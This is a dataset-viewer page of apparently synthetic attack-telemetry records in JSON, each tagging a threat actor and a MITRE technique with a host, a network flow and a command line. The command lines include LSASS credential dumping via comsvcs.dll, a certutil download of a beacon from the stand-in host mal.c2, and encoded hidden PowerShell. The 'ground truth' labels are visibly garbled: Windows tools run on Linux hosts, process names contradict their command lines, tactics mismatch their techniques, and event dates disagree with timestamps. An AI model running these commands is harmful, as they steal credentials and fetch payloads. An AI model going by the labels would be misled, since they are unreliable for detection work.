text
stringlengths 1.13k
1.33k
|
|---|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Initial Access","Lateral Movement"],"technique_id":"T1531"},"event_id":"evt_apt29_20250517T172011000Z_0018601","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.33.178.29","name":"EC2-INST-KTKYLU4NYJ","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18601APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.63.32.116","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1340 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-28T19:10:57.000Z","user":{"name":"svc_4tumd06ut6wb","sid":"S-1-5-21-419988918-938786478-1332"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250724T053818000Z_0018603","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.85.30.54","name":"AZURE-VM-9JV63CEBXK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18603Lapsus$T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.180.155.48","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-24T13:00:22.000Z","user":{"name":"i-8jpvinqlv72r","sid":"S-1-5-21-860535267-412205269-7345"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Command and Control","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20260324T094014000Z_0018605","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.74.114.80","name":"EC2-INST-VK7GDGPMEI","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18605Mustang PandaT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.177.181","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-02-12T07:50:29.000Z","user":{"name":"azuread\\rvjsk6nqertk","sid":"S-1-5-21-887152937-369586940-4095"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Execution","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260417T081556000Z_0018607","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.115.42.159","name":"DB-ORACLE-SHS4KNLO7L","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18607Volt TyphoonT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.61.33.195","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-14T22:58:09.000Z","user":{"name":"CORP\\brlyz0ghg72g","sid":"S-1-5-21-568246471-139600096-5175"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Lateral Movement","Execution","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20260710T070550000Z_0018609","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.62.55.241","name":"APP-WEB-9U7BT6PJIL","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18609FIN7T1059.001"},"network":{"domain":"github.com","dst_ip":"1.31.58.107","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-24T05:13:03.000Z","user":{"name":"CORP\\h1v27jv1jsa1","sid":"S-1-5-21-569077171-411039847-1179"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20260109T025345000Z_0018611","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.92.224.92","name":"EC2-INST-4C5WCO5APB","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18611Mustang PandaT1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.99.90.218","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2273 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-16T13:14:07.000Z","user":{"name":"svc_3g0naj2shr6k","sid":"S-1-5-21-866905922-337731598-1639"}}
|
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Impact","Collection"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260106T100335000Z_0018613","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.129.47.217","name":"AZURE-VM-IEVY9AJWIM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18613FIN7T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.176.181.54","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-07T16:39:29.000Z","user":{"name":"arn:aws:iam::6bjl0akdl9bk","sid":"S-1-5-21-438734893-135219903-9008"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Impact","Exfiltration","Collection"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20251207T170629000Z_0018615","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.14.141.249","name":"WIN-FIN-SRV-FI2BKBGSX6","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18615APT41T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.67.89.107","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-12T20:07:02.000Z","user":{"name":"CORP\\hk9w2ejcge3i","sid":"S-1-5-21-238967662-963847166-3547"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20251014T092033000Z_0018617","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.238.253.188","name":"DB-ORACLE-VF5F0J9T57","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18617Volt TyphoonT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.151.118.183","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-08-25T16:15:16.000Z","user":{"name":"CORP\\hyp29cigjuq9","sid":"S-1-5-21-508216057-321042492-9807"}}
|
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_apt41_20250430T192851000Z_0018619","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.32.254.130","name":"IAM-ROLE-6OY0X8Y9MM","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18619APT41T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.62.200.211","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3548 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-10-05T22:06:49.000Z","user":{"name":"i-8anwb5iwfkoq","sid":"S-1-5-21-768750304-664215695-3593"}}
|
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Defense Evasion","Privilege Escalation"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250918T113516000Z_0018621","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.227.34.213","name":"IAM-ROLE-WJLQYNRDFI","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18621Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.55.214.112","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-18T19:38:48.000Z","user":{"name":"svc_eo4hykrd5njr","sid":"S-1-5-21-930893844-902886329-4061"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Initial Access","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250829T222742000Z_0018623","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.3.178.54","name":"EC2-INST-FRKWY08JUM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18623Lapsus$T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.70.142.213","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-01-30T07:48:08.000Z","user":{"name":"svc_gcgc4x3nzsra","sid":"S-1-5-21-260659384-831645680-3589"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Discovery"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250623T021608000Z_0018625","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.191.102.220","name":"IAM-ROLE-ZLEF0HI96Z","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18625UNC4841T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.6.23","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-01-17T11:31:16.000Z","user":{"name":"CORP\\of3c5ykhfuzm","sid":"S-1-5-21-628417482-920493628-6093"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Credential Access","Impact"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260305T091420000Z_0018627","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.26.20.121","name":"APP-WEB-F25XC7CXUD","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18627Lapsus$T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.87.42.24","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1868 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-05-09T09:42:26.000Z","user":{"name":"CORP\\evfv5q2y14i9","sid":"S-1-5-21-687416123-835060883-4903"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20260409T035748000Z_0018629","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.141.23.212","name":"EC2-INST-CP24ZWNRA8","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18629Lapsus$T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.82.246.155","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-27T11:52:27.000Z","user":{"name":"svc_k53e9dbp37jk","sid":"S-1-5-21-413121723-789839390-3031"}}
|
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20250918T121046000Z_0018631","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.251.206.66","name":"WIN-FIN-SRV-N475M82KX7","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18631Scattered SpiderT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.35.72.68","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3825 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-04-12T19:49:24.000Z","user":{"name":"arn:aws:iam::ueuamyjqmc8p","sid":"S-1-5-21-153750424-672396711-7164"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_apt29_20260104T103557000Z_0018633","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.56.84.36","name":"APP-WEB-05H487RF9J","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18633APT29T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.82.214.168","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2051 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-22T04:14:04.000Z","user":{"name":"CORP\\vbilwc196luk","sid":"S-1-5-21-849160418-790816719-8144"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Defense Evasion","Impact","Initial Access"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20250712T091342000Z_0018635","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.123.153.39","name":"WIN-FIN-SRV-5FJZG3VYWY","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18635APT29T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.119.74.67","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-10-07T16:02:09.000Z","user":{"name":"arn:aws:iam::9qsbtcjdsdea","sid":"S-1-5-21-705606861-161678376-5513"}}
|
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20260316T012208000Z_0018637","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.30.15.87","name":"DB-ORACLE-GF7OL3OUQ1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18637Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.19.150.218","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-11-27T09:05:27.000Z","user":{"name":"i-64vzxwhmy52k","sid":"S-1-5-21-575639317-529190282-7585"}}
|
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20261212T215518000Z_0018639","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.60.3","name":"AZURE-VM-GHR3USZS1Z","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18639UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.28.91.175","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-06-26T22:17:19.000Z","user":{"name":"CORP\\d46pmurekhbl","sid":"S-1-5-21-140400667-468499786-8921"}}
|
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Credential Access"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250806T193105000Z_0018641","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.176.40.16","name":"DB-ORACLE-TIVR4QE8LJ","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18641Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.71.154.49","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1208 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-27T17:54:54.000Z","user":{"name":"CORP\\eqzatyryvekk","sid":"S-1-5-21-339019072-376864113-5026"}}
|
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20251018T083424000Z_0018643","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.101.133.57","name":"APP-WEB-2JXH0R45V3","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"18643APT29T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.172.198.75","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-03-05T06:16:29.000Z","user":{"name":"azuread\\n4ayp3ae39ao","sid":"S-1-5-21-386027786-171342496-6787"}}
|
